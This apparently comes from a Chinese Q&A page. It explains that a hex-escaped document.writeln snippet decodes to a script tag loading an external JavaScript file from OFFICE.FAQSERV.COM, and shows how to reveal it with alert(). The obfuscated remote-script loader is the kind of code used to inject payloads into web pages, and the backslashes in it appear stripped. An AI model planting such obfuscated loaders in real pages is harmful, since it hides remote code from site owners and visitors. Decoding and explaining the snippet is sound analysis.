<script>document.writeln("x3Cx73x63x72x69x70x74x20x73x72x63x3Dx22x48x54x54x50x3Ax2Fx2Fx4Fx46x46x49x43x45x2Ex46x41x51x53x45x52x56x2Ex43x4Fx4Dx2Fx66x61x71x2Ex4Ax53x22x3Ex3Cx2Fx73x63x72x69x70x74x3E");</script>
这是什么编码?怎样转成正常代码?
这其实不是加密,是用的字符的ASCII码的16进制形式表示的。
上面的结果是:
<script src="http://OFFICE.FAQSERV.COM/faq.JS"></script>
要转正常,很简单,直接输出:
<script>window.alert("x3Cx73x63x72x69x70x74x20x73x72x63x3Dx22x48x54x54x50x3Ax2Fx2Fx4Fx46x46x49x43x45x2Ex46x41x51x53x45x52x56x2Ex43x4Fx4Dx2Fx66x61x71x2Ex4Ax53x22x3Ex3Cx2Fx73x63x72x69x70x74x3E");</script>